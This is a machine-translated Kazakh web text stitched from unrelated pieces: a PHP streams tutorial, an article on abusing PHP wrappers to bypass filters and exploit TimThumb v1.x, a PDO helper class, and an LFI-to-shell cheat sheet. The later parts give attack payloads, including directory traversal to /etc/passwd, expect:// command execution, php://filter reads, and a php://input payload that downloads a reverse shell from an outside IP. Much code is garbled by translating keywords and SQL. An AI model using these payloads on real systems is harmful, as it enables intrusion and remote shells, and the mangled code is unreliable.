Бағдарламалауда үнемі әртүрлі ресурстармен жұмыс істеуге тура келеді: файлдар, ұяшықтар, http қосылымдары. Олардың барлығында жиі бір-бірімен үйлеспейтін қол жеткізу интерфейсінің қандай да бір түрі бар. Сондықтан, осы сәйкессіздіктерді жою және әртүрлі деректер көздерімен жұмысты біріктіру үшін PHP 4.3ойлап табылды PHP Streams – ағындар.

Сөйтсе де PHP 4.3көп уақыт бұрын шықты, көп РНР бағдарламашыларытуралы өте түсініксіз түсінік бар PHP тіліндегі ағындар, және пайдалануды жалғастырыңыз CURLбарлық жерде, бірақ ішінде PHPПішінде бұл үшін ыңғайлы балама бар Ағындық мәтінмән.

Ағындардың келесі түрлері бар PHP:

  • Қатты дискідегі файл;
  • HTTP қосылымывеб-сайтпен;
  • Құрама UDPсервермен;
  • ZIP файлы;
  • Файл * .mp3.

Бұл ресурстардың барлығына не ортақ? Олардың барлығын оқуға және жазуға болады, яғни. олардың барлығына оқу және жазу амалдарын қолдануға болады. Күш PHP ағындары Мәселе мынада, сіз осы ресурстардың барлығына бірдей функциялар жинағын пайдалана аласыз. Бұл өте ыңғайлы. Сондай-ақ, егер мұндай қажеттілік кенеттен туындаса, сіз ағын өңдегішінің жеке іске асыруын жаза аласыз «ағынды орауыш». Оқу мен жазудан басқа, PHP тіліндегі ағындарсонымен қатар атын өзгерту және жою сияқты басқа әрекеттерді орындауға мүмкіндік береді.

Бағдарламалау қосулы PHP, Сіз ағындарды кездестірдіңіз, бірақ оны түсінбеуіңіз мүмкін. Сонымен, ағындармен жұмыс істейтін функциялар fopen(), file_get_contents(), файл()т.б. Сонымен, шын мәнінде, сіз осы уақыт ішінде файл ағындарын толығымен мөлдір пайдаланып жатырсыз.

Ағынның басқа түрімен жұмыс істеу үшін оның протоколын көрсету керек (қаптама)келесідей: орауыш://кейбір_ағынды_ресурс, Қайда қаптама: //- бұл, мысалы http://, файл://, ftp://, zip://т.б., және кейбір_ағынды_ресурс - URI, ашқыңыз келетін нәрсені анықтайды. URIпішіміне ешқандай шектеулер қоймайды. Мысалдар:

Дегенмен, барлық протоколдар мен өңдеушілер сіз үшін жұмыс істей алмайтынын ескеріңіз, себебі кейбір қабықшаларды қолдау параметрлеріңізге байланысты. Сондықтан, қандай протоколдарға қолдау көрсетілетінін білу үшін келесі сценарийді іске қосу керек:

// тіркелген розетка тасымалдауларының тізімі
print_r(stream_get_transports());

// тіркелген ағындардың тізімі (өңдеушілер)
print_r(stream_get_wrappers());

// тіркелген сүзгілер тізімі
print_r(stream_get_filters();

PHP ағын мәтіндері

Көбінесе http сұранысын жасау кезінде қосымша параметрлерді көрсету қажеттілігі туындайды. Тақырып мәтінмәндері бұл мәселені қосымша параметрлерді көрсетуге мүмкіндік беру арқылы шешеді. Көптеген ағынды хабардар функцияларда қосымша ағын контекстік параметрі бар. Функцияны қарастырайық file_get_contents():

file_get_contents(жол $файл аты [, int $жалаушалар = 0 [, ресурс $контекст [, int $offset = -1 [, int $maxlen = -1]]]])

Көріп отырғаныңыздай, ағын контексі үшінші параметр ретінде жіберіледі. Мәтінмәндер функцияның көмегімен жасалады stream_context_create(), ол массив қабылдайды және мәтінмәндік ресурсты қайтарады.

$опциялар = массив(
"http" => массив(
"метод" => "АЛУ",
"header" => "Қабылдау тілі: en\r\n".
"Cookie: foo = bar\r\n"
);

$контекст = ағын_контекст_жасау($параметрлер);

// Мұны file_get_contents көмегімен пайдалану ...
echo file_get_contents("http://www.example.com/", 0, $контекст);

Сонымен бүгін біз оның не екенін білдік PHP-дегі ағындар мен контексттер, оларды пайдалану мысалдарын қарастырдық және келесі мақалаларда ағындық метадеректер туралы сөйлесеміз және өз өңдеушімізді жасаймыз.

Бағдарламалау тілінің икемділігі әзірлеушілерге ыңғайлылық қосады, сонымен қатар жаңа шабуыл векторларын ашады. PHP әзірлеушілері көбінесе орауыш деп аталатындарды пайдаланады және бұл қолданбаға енгізілген қауіпсіздік сүзгілерін айналып өтуге және, мысалы, серверде орындауға мүмкіндік береді деп күдіктенбейді. ерікті код. Бүгін біз қаптамалар, олардың ерекшеліктері және олармен байланысты қауіптер туралы айтатын боламыз.

ЕСКЕРТУ

Барлық ақпарат тек ақпараттық мақсатта берілген. Редакторлар да, автор да осы мақаладағы материалдарды пайдаланудан келтірілген зиян үшін жауапты емес.

Кіріспе

PHP-де енгізілген орауыш механизмімен байланысты осалдықтар біраз уақыттан бері талқыланды. Оларға сілтемелер OWASP TOP 10 және WASC TCv2 нұсқаларында бар. Дегенмен, деректерді кодтауды енгізудің бірқатар ерекшеліктері қауіпсіздік талаптарын ескере отырып әзірленген қолданбалардың өзінде осалдықтарды (соның ішінде маңызды) қамтуы мүмкін екеніне әкеледі. Бұл мақалада біз алдымен PHP орауыштары дегеніміз не және олар бағдарламашыларға қалай пайдалы болуы мүмкін екенін жылдам қарастырамыз. Содан кейін біз қолданбаға енгізілген қауіпсіздік сүзгілерін айналып өтуге және осыған қатысты шабуылдарды жүзеге асыруға мүмкіндік беретін олардың мүмкіндіктерін талдаймыз. рұқсатсыз кіруКімге файлдық жүйежәне ерікті кодты орындау.

Қаптамалар

РНР-де 4.3.0 нұсқасынан бастап интерпретаторда пайда болған ағындар сияқты нәрсе бар. Бұл функциялардың бір жиынтығын қолданатын файлдармен, желімен, қысылған деректермен және басқа ресурстармен жұмыс істеуге арналған дерексіз деңгей. Ең қарапайым анықтамасында ағын - бұл «ағын тәрізді» әрекеті бар ресурс. Яғни, оқуға, жазуға және оның ішінде шарлауға болатын ресурс. Мысалы, fopen функциясын қарастырайық. Ресми құжаттамаға сәйкес оның келесі синтаксисі бар:

Ресурс fopen(жол $файл аты, жол $режим [, bool $use_include_path = жалған [, ресурс $контекст ]])

мұндағы $filename жергілікті файлға жол болуы мүмкін. Жергілікті файлдардың мазмұнын келесідей алуға болатыны белгілі:

$handle = fopen($файл, "rb"); while (!feof($handle)) ( $contents .= fread($handle, 8192); ) $contents басып шығару;

Бірақ файлға тривиальды жолдан басқа, орауыштар деп аталатындарды пайдалануға болады. Ең жақсы жолМұның не екенін түсіндіру үшін бірнеше мысал келтіріңіз. Осылайша, бірдей fopen функциясы арқылы орауыштарды пайдалану мүмкін болады:

  • FTP-ден файлдарды жүктеп алу: ftp://user: [электрондық пошта қорғалған]/pub/file.txt;
  • егер оларға қолжетімділік шектеулі болса, IP арқылы сервер-күй/сервер-ақпаратына хабарласыңыз: http://127.0.0.1/server-status;
  • оқу үшін ашылған рұқсат файлының дескрипторлары (PHP >= 5.3.6): php://fd/XXX;
  • және тіпті ОЖ пәрмендерін орындаңыз (егер күту кеңейтімі орнатылған болса): expect://ls.

Орауыштар (сонымен қатар хаттама өңдегіштері немесе орауыштар ретінде белгілі) функцияларға ағыннан деректерді өңдеу жолын айтады. Сондықтан орауыштарды қолдайтын функциялар әртүрлі көздерден деректерді алу үшін пайдаланылуы мүмкін. Қаптамалар кез келген ағын арқылы бағдарламаға енетін деректерді икемді және ыңғайлы өңдеуге, сондай-ақ қажет болған жағдайда оны өзгертуге мүмкіндік береді.

Қарастырылған мысалда қаптамалар оқу режимінде пайдаланылды. Егер деректер жазылса, онда бұл жағдайда қаптамалар көптеген функциялардың мүмкіндіктерін кеңейте алады. Мысалы, copy() функциясы екі аргументте де орауыштарды қолдайды және екінші аргумент php://output орамасын пайдаланса, көшірілген файл шығыс буферіне жіберіледі. Осылайша, copy() функциясы файлдарды көшіруге ғана емес, оларды оқуға да мүмкіндік береді.

Көшіру("/etc/passwd" , "php://output");

Сол сияқты, file_put_contents функциясын және жазу режимінде қаптаманы қолдайтын кез келген басқа функцияны пайдалануға болады:

File_put_contents("php://output", file_get_contents("/etc/hosts"));

PHP 5.3.6 файл дескрипторларына тікелей қатынауды қамтамасыз ететін php://fd қаптамасын енгізді. Егер PHP Apache модулі ретінде орнатылса, php://fd орауышы access_log/error_log файлына ерікті деректерді жазуға мүмкіндік береді (әдетте бұл файлдардағы рұқсаттар 644 және тек түбір ғана оларға тікелей жаза алады).

Айта кету керек, PHP-де кірістірілген орауыштар өте көп, бірақ сіз stream_wrapper_register функциясын пайдаланып өзіңіздің орауыштарыңызды жасап, тіркей аласыз. Көбірек егжей-тегжейлі ақпаратСіз оны ресми PHP веб-сайтында таба аласыз. Толық тізімҚолжетімді орауыштарды phpinfo - Registered PHP Streams бөлімінен көруге болады.

Кейбір орауыштарда веб-бағдарламаның осалдықтарын тиімдірек пайдалануға мүмкіндік беретін құжатталмаған мүмкіндіктер бар. Дәл осы ерекшеліктерді біз бүгін қарастырамыз.

ZIP нені қамтиды?

ZIP - деректерді қысу және файлдарды мұрағаттау үшін танымал пішім. Бұл форматты қолдау қазіргі заманғы барлық нұсқаларда жүзеге асырылады операциялық жүйелер, және онымен жұмыс істеуге арналған кітапханалар көптеген бағдарламалау тілдері үшін жазылған. РНР тілінде бұл форматпен жұмыс істеу үшін zip модулін пайдалану ыңғайлы.

Linux жүйелерінде zip модулі PHP --enable-zip опциясымен құрастырылған жағдайда қолжетімді болады. Тек мұрағаттауға болмайды бөлек файлдар, сонымен қатар тұтас каталогтар; Каталог құрылымын сақтау үшін мұрағатқа қосылған файлдардың атауында қиғаш сызықты / қолдануға рұқсат етіледі. Zip модулінің тағы бір маңызды ерекшелігі - ерікті атаумен файлдарды өңдеу мүмкіндігі: ең бастысы файлдың мазмұны дұрыс қалыптасқан zip мұрағаты болуы.

Zip мұрағатын жасау $zip = жаңа ZipArchive;if ($zip->open("/tmp/any_name_zip_arxiv",1))( $zip->addFromString("/my/header.html", "

close();

Zip мұрағаты жасалғаннан кейін мұрағат ішіндегі файлдарға тікелей қол жеткізу үшін zip:// қаптамасын пайдалануға болады.

Zip мұрағатынан файлды оқу print file_get_contents("zip:///tmp/any_name_zip_arxiv#/my/header.html");

Аттарындағы қиғаш сызығы бар файлдарды мұрағаттау мүмкіндігі нөлдік байт болмаған кезде қашықтағы файлды қосу осалдықтарын пайдалануға мүмкіндік береді. Мысалы, келесі қарапайым сценарийді қарастырыңыз:

$s = $_POST["жол"]; $s қамтиды."/header.html";

Әрине, бұл жағдайда кодтың орындалуына әртүрлі тәсілдермен қол жеткізуге болады. Бірақ http://, ftp://, data:// орауыштарын пайдалану allow_url_include директивасымен шектеледі және жергілікті файлдарды қосқанда нөлдік байтты пайдалану magic_quotes_gpc директивасы арқылы алдын алуы мүмкін. Тіпті allow_url_include=Өшірулі және magic_quotes_gpc=Қосу кезінде осалдықты пайдалану мүмкін емес сияқты көрінуі мүмкін. Бірақ бұрын жұртшылықта сипатталмаған басқа жол бар!

Бастау үшін шабуыл жасалған серверде файлдарды жасауға болады деп есептейік. Содан кейін, жоғарыдағы мысалда көрсетілгендей zip мұрағатын жасау арқылы zip:// қаптамасының көмегімен PHP кодын орындауға болады.

Жол=zip:///tmp/any_name_zip_arxiv#/my

PHP функциясы арқылы қажетті файлды жасау мүмкін болмаса, HTML пішіні арқылы мазмұнды жүктеген кезде PHP жасайтын уақытша файлдарды пайдалануға болады. Уақытша файлға жолды phpinfo() арқылы табуға болады. LFI/RFI сияқты осалдықтарды пайдалану кезінде уақытша файлдарды пайдалану жолы туралы толығырақ ақпаратты rdot.org форумынан табуға болады. allow_url_fopen директивасы zip:// қаптамасының қолданылуын шектемейтінін ескеру маңызды.

Менің деректерім // қайда?

Dataurl:= "data:" [ mediatype ] [ ";base64" ] "," data mediatype:= [ type "/" subtype ] *(";" parameter) data:= *urlchar параметр:= атрибут "=" мәні

Бұл жағдайда медиатип мүлдем болмауы немесе ерікті мәндермен толтырылуы мүмкін:

Деректер://anytype/anysubtype;myattr!=V@l!;youattr?=Op$;base64

Бұл орау мүмкіндігін тексерулер мен сүзгілерді айналып өту үшін пайдалануға болады. Мысалы, танымал TimThumb v1.x сценарийінде келесі сүзгі бар:

Функция validate_url ($url) ( $pattern="/\b(?:(?:https?):\/\/|www\.)[-a-z0-9+&@#\/%?=~ _|!:,.;]*[-a-z0-9+&@#\/%=~_|]/i"; preg_match қайтару ($pattern, $url); )

Бұл тексеруді келесідей айналып өтуге болады:

Деректер://text/plain;charset=http://w?param=anyval;base64,SSBsb3ZlIFBIUAo

PHP-де stream_get_meta_data() деп аталатын функция бар. Ресми құжаттамаға сәйкес, ол ағындар мен файл көрсеткіштерінен метадеректерді шығарады:

stream_get_meta_data массиві (ресурс $stream)

Бұл ретте қайтарылған массивте нақты анықталған кілттері бар элементтер бар және осы массивке жаңа элементтерді қосу тапсырмасы бір қарағанда өте проблемалы болып көрінеді. Бірақ data:// орауышымен сіз бұл массивті оңай басқара аласыз! Қалай? Мысал келтірейін:

$password = "құпия"; $файл = $_POST["файл"]; $fp = fopen($файл, "r"); үзінді (ағынды_алу_мета_деректері($fp)); if ($mediatype === «мәтін/жазық») ( ... ) егер ($_COOKIE["admin"] === $password) ( ... )

Жергілікті файл атауының орнына $file айнымалы мәніндегі деректер орауышын пайдалансаңыз,

POST DATA: file=data://text/plain;password=mysecret;base64

онда сіз $password параметрін оңай қайта анықтай аласыз және cookie файлдарын пайдаланып, авторизацияны өткізе аласыз.

Cookie: admin=mysecret

Суық компресс

Құжаттамаға сәйкес, compress.zlib:// wrapper gz мұрағаттарын ашуға мүмкіндік береді. Егер zlib мұрағаты болып табылмайтын деректерді өңдеу үшін осы қаптаманы пайдалансаңыз, деректер өзгеріссіз қайтарылады.

Readfile("compress.zlib:///etc/hosts");

«Өте пайдалы!» - ойланасың :). Енді салқын болады. Интернетке арналған кез келген PHP бағдарламалауын жасасаңыз, сіз prase_url() функциясымен таныс болуыңыз мүмкін. Еске сала кетейін, бұл функция URL мекенжайларын талдайды. Бұл жерде бір қызықты сәт бар: функция енгізуі тек URL мекенжайымен ғана емес, сонымен қатар жалпы түрдегі жолмен де қамтамасыз етілуі мүмкін:

Print_r(parse_url("anysheme://anysite.com/;http://w?v@l=!"));

Осы мүмкіндікті ескере отырып, көп функциялы орауыштарды пайдаланып parse_url функциясына негізделген әртүрлі тексерулер мен сүзгілерді айналып өтуге болады. Мысалы, әзірлеушілердің пікірінше, файлдарды тек img.youtube.com сенімді хостынан жүктеп алуға болатын келесі сценарийді қарастырыңыз.

$url_info = талдау_url($_POST["src"]); егер ($url_info["host"] === "img.youtube.com") ( $name = str_replace("/", "", substr($url_info["жол"], 4)); көшіру($ src, "./".$name);

Қалыпты режимде img.youtube.com сайтынан алдын ала қараулар келесідей жүктеледі:

ПОСТ ДЕРЕКТЕР: src=http://img.youtube.com/vi/Uvwfxki7ex4/0.jpg

Бұл жағдайда сүзгіні compress.zlib:// қаптамасының көмегімен де айналып өтуге болады.

POST DATA: src=compress.zlib://img.youtube.com/../path/to/local/file;

Бұған қоса, хост атауы сүзгісін айналып өту және біз бұрын талқылаған data:// қаптамасының көмегімен ерікті аты мен мазмұны бар файлды серверге жүктеп салу өте оңай:

POST DATA: src=data://img.youtube.com/aaamy.php?;base64,SSBsb3ZlIFBIUAo

Бұл жағдайда жергілікті файлдар алдын ала қарау қалтасына көшіріледі: егер бұл қалта браузерден тікелей қол жеткізу үшін қолжетімді болса, онда жүйелік файлдарды қарау мүмкін болады. Бұл мысал data:// және compress.zlib:// орауыштарын пайдалану қашықтағы хосттардан файлдарды жүктеп алатын сценарийлерде пайдалы болуы мүмкін екенін көрсетеді. Осындай сценарийлердің бірі - TimThumb.


TimThumb v1.x жүйесіндегі осалдықтарды пайдалану

TimThumb - көптеген WordPress тақырыптары мен плагиндерінде қолданылатын танымал кескін сценарийі. 2011 жылдың тамызында TimThumb v 1.32 сценарийінде маңызды осалдық табылды, ол PHP коды бар файлдарды сенімді хосттардың суреттерінің орнына шабуылға ұшыраған серверге жүктеп салуға мүмкіндік береді. Түнде дерлік қоғамдық доменде кеңесші пайда болды, ол осы осалдықты пайдалануды егжей-тегжейлі сипаттады.

Осалдықтың мәні сценарийдің URL мекенжайын кескіндерді жүктеп алуға болатын сенімді хосттар тізімінен қате тексергенінде болды. Сүзгілерді айналып өту үшін, мысалы, сенімді блоггер.com хостында, сенімді хосттың URL мекенжайы бар төртінші деңгейлі доменді тіркеу ұсынылды, мысалы blogger.com.attacker.com және осы доменнен файлдарды жүктеп алу.

Http://www.target.com/timthumb.php?src=http://blogger.com.attacker.com/pocfile.php

Осылайша, осалдықты 1.32 нұсқасына дейін пайдалануға болады (142 нұсқасы). Бірақ жаңа нұсқалар да осал болды. 1.34 нұсқасында кескіндердің қалай жүктелетінін қарастырайық (145-нұсқа):

Функцияны тексеру_external ($src) ( .................... $файл аты = "сыртқы_" . md5 ($src); $local_filepath = DIRECTORY_CACHE. "/" . $ файл атауы; егер (!file_exists ($local_filepath)) ( if(strpos(strtolower($src),"http://")!==false|| strpos(strtolower($src),"https:// ") !==false)( егер (!validate_url ($src)) display_error («жарамсыз url»); $url_info = талдау_url ($src); ............ ...... if($url_info["host"]=="www.youtube.com" || $url_info["host"] == "youtube.com") ( parse_str ($url_info["query" ]); ... ................... егер (функция_бар («curl_init»)) ( ............... ...... $fh = fopen($local_filepath, "w" $ch = curl_init($src) ................ curl_setopt($ch, CURLOPT_URL, $src); ................ curl_setopt ($ch, CURLOPT_FILE, $fh curl_setopt ($ch, CURLOPT_WRITEFUNCTION, "curl_write" ......... $); file_infos = getimagesize ($local_filepath, егер (бос ($file_infos["mime"]) || !preg_match ("/jpg|jpeg|gif|png/i", $file_infos["mime"])) (байланысты жою () $local_filepath);

түрту($local_filepath); ......................

  1. check_external функциясын құрастыру кезінде бірнеше логикалық қателер жіберілгенін байқау оңай:
  2. Көптеген тексерулер аяқталғаннан кейін parse_str функциясы сүзгіленбеген пайдаланушы деректерін алады. Осылайша, бұрын тексерілген айнымалы мәндерді қайта анықтауға болады: $url_info['host'], $src, $local_filepath. Сондықтан кез келген серверден файлдарды жүктеп алуға болады.

Файлды серверге жүктегеннен кейін, ол файлдың кескін болып табылмайтындығы getimagesize негізінде тексеріледі. Тексеру сәтсіз болса, файл жойылады. Бірақ $local_filepath айнымалысына әсер ету мүмкін болғандықтан, жергілікті файлға php://filter, compress.zlib:// орауыштары арқылы қол жеткізуге болады. Және бұл жағдайда ажырату функциясы файлды жоя алмайды.

Біраз қазудан кейін файлдарды жүктеп алу үшін эксплойт жаздым. Ерікті атаумен және еркін мазмұнмен, жүйедегі ерікті орынға.

1.x тармағы осалдықтарды қамтитын 149 нұсқасымен аяқталады. Бұл қайта қарауда parse_str функциясы әлдеқашан жойылған, сондықтан айнымалы мәндерді қайта жазу мүмкін емес. Бірақ URL мекенжайының жарамдылығын тексеретін сүзгілер тек $src жолындағы сәйкес ішкі жолдардың пайда болуын тексереді. Сонымен қатар, curl_init функциясы шабуыл жасалған серверде қол жетімді болмаса, файлдар file_get_contents/file_put_contents арқылы жүктеледі. Бұл функциялардың curl_init-тен айырмашылығы, PHP-де қол жетімді барлық орауыштарды қолдайтынын атап өткен жөн.

If(!$img = file_get_contents($src)) ( display_error(" . $src . "үшін қашықтағы файлға қатынасу мүмкін емес. Файл рұқсаттары шектелген болуы мүмкін"); ) if(file_put_contents($local_filepath, $img) == FALSE) ( display_error («уақытша файлды жазу қатесі»); )

Осылайша, data:// орауышын пайдаланып, барлық сүзгілерді айналып өтіп, кэш каталогында еркін мазмұны бар файлды жасауға болады:

Деректер://img.youtube.com/e;charset=http://w?var=;base64,SSBsb3ZlIFBIUAo

Немесе жергілікті файлды кэшке көшіру үшін compress.zlib:// wrapper пайдаланыңыз:

Compress.zlib://youtube.com/../http://?/../../path/to/local/file

Артықшылығы - кэштегі файлдарға тікелей қол жеткізуге болады, нәтижесінде RCE деректер орауышын пайдаланып қабықша жазу арқылы, сонымен қатар compress.zlib арқылы жергілікті файлдардың мазмұнын алу арқылы қол жеткізіледі.

Қорытындының орнына

PHP-ге енгізілген орауыштар Файлды өңдеу сияқты осалдықтарды пайдалану үшін үлкен мүмкіндіктер беретіні анық. Бірақ айта кететін жайт, file_exists, is_file, filesize функцияларына негізделген қарапайым тексерулер де қаптамаларды пайдалануға мүмкіндік бермейді. Сондай-ақ, Suhosin патчі орнатылған кезде, әдепкі бойынша, allow_url_include директивасы Қосулы күйіне орнатылған болса да, кірмеде орауыштарды пайдалану мүмкін емес. Осы кезде мен орауыштарды пайдалану тақырыбын жаппаймын және келесі мақалада танымал веб-қозғалтқыштардағы осалдықтарды пайдалану мысалдарын пайдалана отырып, php://filter орауышының мүмкіндіктері туралы айтатын боламын. Бізбен бірге қалыңыз!


Дайындалған өрнектермен жұмыс істеу кезінде PDO да, MySQli де негізгі кемшілігі олардың кіріктірілген функциялары дайындалған сұранысты бірнеше рет орындауға арналған (қазір дайындық тек бір рет шақырылады, ал execute() әр түрлі деректермен бірнеше рет шақырылады) . Сондықтан олар соншалықты егжей-тегжейлі. Бірақ мәселе мынада, іс жүзінде PHP-де мұндай сұраныстарды орындау өте сирек. Нәтижесінде, көптеген сұраулар үшін қажет емес кодты әр уақытта жазуға тура келеді:

$stmt = $pdo -> дайындау ($sql );
$stmt -> орындау ($params);
$деректер = $stmt -> fetch();

Олар айтқандай, олар не үшін күрессе, соған тап болды. Есте қалатын mysql_query() функциясымен салыстырғанда кодты азайту болған жоқ. Мен шынымен қалар едім!
Сонымен қатар, Уэс Фурлонг PDO пайдаланушыларына тағы бір трюк жасады - execute() мәлімдемені қайтарудың орнына ақымақ логикалық мәнді қайтарады, бұл әдісті тізбектеуді жүзеге асыруға және әдемі кодты алуға мүмкіндік береді.

$data = $pdo -> дайындау ($sql )-> орындау ($params )-> алу ();

Бірақ, өкінішке орай, тіпті бұл тәсіл дерлік қол жетімді емес. Және кез келген жағдайда, бұл артық, өйткені көп жағдайда бізге не дайындау, не орындау қажет емес - бізге толтырғыштар үшін қарғыс деректерін жібере отырып, қарғыс сұрауды ақымақтықпен орындау керек.

Сондықтан, жазу көлемін азайту үшін біз PDO-ға бір функцияны қосамыз, run(), оның бүкіл функциясы жоғарыдағы кодқа қысқарады - дайындау/орындауды орындаңыз және мәлімдемені қайтарыңыз:

MyPDO класы PDO кеңейтеді
{
жалпы функцияны іске қосу ($sql, $args = NULL)
{
$stmt = $this -> дайындау ($sql );
$stmt -> орындау ($args);
$stmt қайтару;
}
}

Ал мәлімдемеден біз кез келген деректерді кез келген стандартты жолмен ала аламыз:

$деректер = $pdo -> іске қосу ( "Жынысы = "ер" ЖЕРДЕ пайдаланушылардан * ТАҢДАҢЫЗ")->fetchAll();

N2 мәселе, қол жетімділік
Жаңадан бастағандар үшін тағы бір жағымсыз жаңалық - PDO-ға mysql_query() сияқты сценарийдің кез келген жерінде қол жеткізу мүмкін емес.

Сондықтан, келесі жақсарту статикалық синглон арқылы PDO-ға қол жеткізуді жүзеге асыру болады. Бұл үлгі Интернетте жиі сынға ұшырайды және жақсы себеппен. Бірақ бұл жерде сіз бір қарапайым нәрсені түсінуіңіз керек:
Егер сіздің кодыңыз синглтон тудыруы мүмкін мәселелерге бейім болса, бұл сіз жоғары деңгейлі дерекқор драйверін пайдаланып жатырсыз дегенді білдіреді, ең алдымен танымал құрылымнан.
Бірақ егер сіз mysql_query() үңгірінен жаңа ғана шығып, оны қосылымдарды өткізу туралы алаңдамай, оны бүкіл кодта жазуға дағдыланған болсаңыз, PDO данасын өзіңізбен бірге алып жүру маңызды сынақ болады. PDO синтаксисінің өзі және дайындалған өрнектердің өзі мұндай әлсіз кіру шегін құрамайтынына қарамастан. Сонымен, таблетканы бұрынғы жақсы күндердегідей сценарийдің кез келген жерінен дерекқорға қол жеткізу мүмкіндігімен тәттілеуге тырысайық.

Соңғы нәтиже - mysql_query() сияқты пайдалану оңай болғанымен, кодты азайтып, дайындалған өрнек қауіпсіздігін қамтамасыз ететін өте ықшам PDO қондырмасы.

Код

анықтау («DB_HOST» , «localhost» );
анықтау («DB_NAME» , «сынақ» );
анықтау («DB_USER» , «root» );
анықтау («DB_PASS» , «» );
анықтау («DB_CHAR» , «utf8» );

DB класы
{
қорғалған статикалық $дана = null ;

Қоғамдық функция __construct()()
қоғамдық функция __clone()()

Жалпы статикалық функция данасы()
{
егер (өзіндік :: $дана === null )
{
$opt = массив(
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
PDO::ATTR_EMULATE_PREPARES => ШЫН,
);
$dsn = "mysql:host=" . DB_HOST. ";dbname=" . DB_NAME. ";charset=" . DB_CHAR;
self :: $дана = жаңа PDO ($dsn, DB_USER, DB_PASS, $opt);
}
қайтару self :: $instance ;
}

Қоғамдық статикалық функция __callStatic ($әдіс, $args)
{
қайтару call_user_func_array (массив(self :: instance(), $method), $args );
}

Жалпы статикалық функцияны іске қосу ($sql , $args = )
{
егер (! $args )
{
қайтару self::instance()->query($sql);
}
$stmt = self::instance()->дайындау($sql);
$stmt -> орындау ($args);
$stmt қайтару;
}
}

Мысалдар

# Кесте құру
ДБ::сұрау( "Уақытша TABLE pdowrapper CREATE (id int auto_increment бастапқы кілт, varchar(255) атауы)");

# дайындалған өрнектердің бірнеше рет орындалуы
$stmt = DB::дайындау( "Pdowrapper VALUES INTO INSERT (NULL, ?)");
foreach ([ "Сэм" , "Боб" , "Джо" ] $name ретінде)
{
$stmt -> орындау([ $аты ]);
}
var_dump(DB::lastInsertId());
//жол (1) "3"

# Жолдарды циклде қабылдау
$stmt = DB::run("SELECT * FROM pdowrapper");
ал ($жол = $stmt -> алу (PDO :: FETCH_LAZY ))
{
echo $row [ "name" ], "," ;
echo $row -> name , "," ;
echo $жол [ 1 ], PHP_EOL ;
}
/*
Сэм, Сэм, Сэм
Боб, Боб, Боб
Джо, Джо, Джо
*/

# Бір жолды алыңыз
$id = 1 ;
$жол = DB::run( "* ТАҢДАУ Pdowrapper ҚАЙДА id=?", [ $id ])-> fetch();
var_export($жол);
/*
массив (
"id" => "1",
"name" => "Сэм",
*/

# Бір өрісті алу
$name = DB::run( "Атты ТАҢДАУ Pdowrapper ҚАЙДА id=?", [ $id ])-> fetchColumn();
var_dump($name);
//string(3) "Sam"

# Барлық жолдарды массивке алыңыз
$барлығы = DB::run( «Таңдау атауы, идентификатор FROM Pdowrapper»)->fetchAll(PDO::FETCH_KEY_PAIR);
var_export($барлығы);
/*
массив (
"Сэм" => "1",
"Боб" => "2",
"Джо" => "3",
*/

# Кестені жаңарту
$new = "Сот" ;
$stmt = DB::run( "UPDATE pdowrapper SET name=? WHERE id=?", [ $new , $id ]);
var_dump($stmt -> rowCount());
//int(1)

LFI дегенді білдіреді Жергілікті файлды қамтиды- бұл шабуылдаушыға мақсатты веб-серверде бар файлдарды қосуға мүмкіндік беретін жергілікті файлды қосу осалдығы. Әдетте бұл пайдаланушы енгізуін зарарсыздандырмайтын динамикалық файлдарды қосу механизмдерін теріс пайдалану арқылы пайдаланылады.

Пайдаланушы енгізуін зарарсыздандырусыз файл атауларын параметр ретінде қабылдайтын сценарийлер LFI осалдықтары үшін жақсы үміткерлер болып табылады, жақсы мысал ретінде image.jpg параметрін қабылдайтын келесі PHP сценарийі foo.php?file=image.jpg болады. Шабуылдаушы жай ғана image.jpg файлын ауыстырып, пайдалы жүктемені енгізеді. Әдетте сценарий каталогынан шығатын және файлдық жүйе каталогының құрылымын айналып өтетін, foo.php?file=../../../../../../. /etc/passwd немесе веб-қосымшаның өзінде құпия файлдар. SQL пайдаланушы аттары мен құпия сөздері бар құпия ақпаратты немесе конфигурация файлдарын көрсету.

Ескерту: Кейбір жағдайларда LFI осалдықтарының сипатына байланысты жүйелік орындалатын файлдарды іске қосуға болады.

LFI-ден Shell қалай алуға болады

Төменде осал LFI сценарийлері бар жүйелерде қабық алу үшін бұрын қолданған әдістер бар.

Жолды өткеру aka каталогтан өту

Жоғарыда айтылғандай, жүйе туралы құпия ақпаратты ашу үшін файлдық жүйе каталогының құрылымын айналдырыңыз, ол сізге қабықшаны, пайдаланушы атын / құпия сөздерді және т.б. алуға көмектеседі.

PHP Wrapper күтеді: // LFI

Жүйе пәрмендерін PHP күту қабығы арқылы орындауға мүмкіндік береді, өкінішке орай, бұл әдепкі бойынша қосылмаған.

PHP мысалы күтеді:

Http://127.0.0.1/fileincl/example1.php?page= expect://ls

Төменде PHP күтілетін орауыш өшірілген болса, қате алынған:

Ескерту: қосу () : «күтілетін» қаптаманы табу мүмкін емес - сіз оны қосуды ұмыттыңыз ба< br >конфигурацияланған PHP?< br >/var/www/fileincl/example1 ішінде. php on line 7 Ескерту: қосу () : табу мүмкін емес< br >орауыш «күтемін» - PHP конфигурациялағанда оны қосуды ұмыттыңыз ба? жылы/var/www/fileincl/example1. php 7-жолда Ескерту: қосу (expect://ls): ағынды ашу мүмкін болмады: /var/www/fileincl/example1 ішінде мұндай файл немесе каталог жоқ. php 7-жолда Ескерту: қосу () : қосу үшін "expect://ls" ашу сәтсіз аяқталды (include_path =

".:/usr/share/php:/usr/share/pear"

) /var/www/fileincl/example1 ішінде. php 7-жолда

PHP Wrapper php://file

Басқа PHP ораушысы, php://input сіздің пайдалы жүктемеңізді POST сұрауында curl, burp немесе hackbar көмегімен жібереді, бұл пост деректерін қамтамасыз ету үшін ең оңай нұсқа болуы мүмкін.

Http://192.168.183.128/fileincl/example1.php?page=php://input

"wget ​​http://192.168.183.129/php-reverse-shell.php -O /var/www/shell.php") ; ?>

Жүктеп алғаннан кейін http://192.168.183.129/shell.php сілтемесі бойынша кері қабықты орындаңыз.

PHP орауыш php://сүзгі

Басқа PHP ораушысы, php://filter осы мысалдағы шығыс base64 көмегімен кодталған, сондықтан шығысты декодтау қажет болады.

Http://192.168.155.131/fileincl/example1.php?page= php://filter/convert.base64-encode/resource= ../../../../../etc/passwd

/proc/self/environ LFI әдісі

